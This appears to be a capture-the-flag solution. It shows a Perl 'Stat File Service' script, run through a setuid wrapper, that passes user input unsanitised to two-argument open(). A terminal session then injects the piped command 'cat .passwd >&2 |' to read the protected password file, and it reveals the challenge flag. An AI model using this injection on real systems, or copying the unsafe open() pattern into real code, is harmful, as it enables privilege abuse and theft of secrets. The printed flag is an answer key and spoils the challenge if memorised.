#!/usr/bin/perl
     
    delete @ENV{qw(IFS CDPATH ENV BASH_ENV)};
    $ENV{'PATH'}='/bin:/usr/bin';
     
    use strict;
    use warnings;
     
    main();
     
    sub main {
        my ($file, $line) = @_;
     
        menu();
        prompt();
     
        while((my $file = <STDIN>)) {
            chomp $file;
     
            process_file($file);
     
            prompt();
        }
    }
     
    sub prompt {
        local $| = 1;
        print ">>> ";
    }
    sub menu {
        print "*************************\n";
        print "* Stat File Service    *\n";
        print "*************************\n";
    }
     
    sub check_read_access {
        my $f = shift;
     
        if(-f $f) {
            my $filemode = (stat($f))[2];
     
            return ($filemode & 4);
        }
     
        return 0;
    }
     
    sub process_file {
        my $file = shift;
        my $line;
        my ($line_count, $char_count, $word_count) = (0,0,0);
     
        $file =~ /(.+)/;
        $file = $1;
        if(!open(F, $file)) {
            die "[-] Can't open $file: $!\n";
        }
     
     
        while(($line = <F>)) {
            $line_count++;
            $char_count += length $line;
            $word_count += scalar(split/\W+/, $line);
        }
     
        print "~~~ Statistics for \"$file\" ~~~\n";
        print "Lines: $line_count\n";
        print "Words: $word_count\n";
        print "Chars: $char_count\n";
     
        close F;
    }

app-script-ch7@challenge02:~$ ./setuid-wrapper 
*************************
* Stat File Service    *
*************************
>>> ch7.pl
~~~ Statistics for "ch7.pl" ~~~
Lines: 73
Words: 164
Chars: 1186
>>> cat .passwd >&2 |                                
PerlCanDoBetterThanYouThink
~~~ Statistics for "cat .passwd >&2 |" ~~~
Lines: 0
Words: 0
Chars: 0

app-script-ch7@challenge02:~$ ./setuid-wrapper 
*************************
* Stat File Service    *
*************************
>>> cat .passwd
[-] Can't open cat .passwd: No such file or directory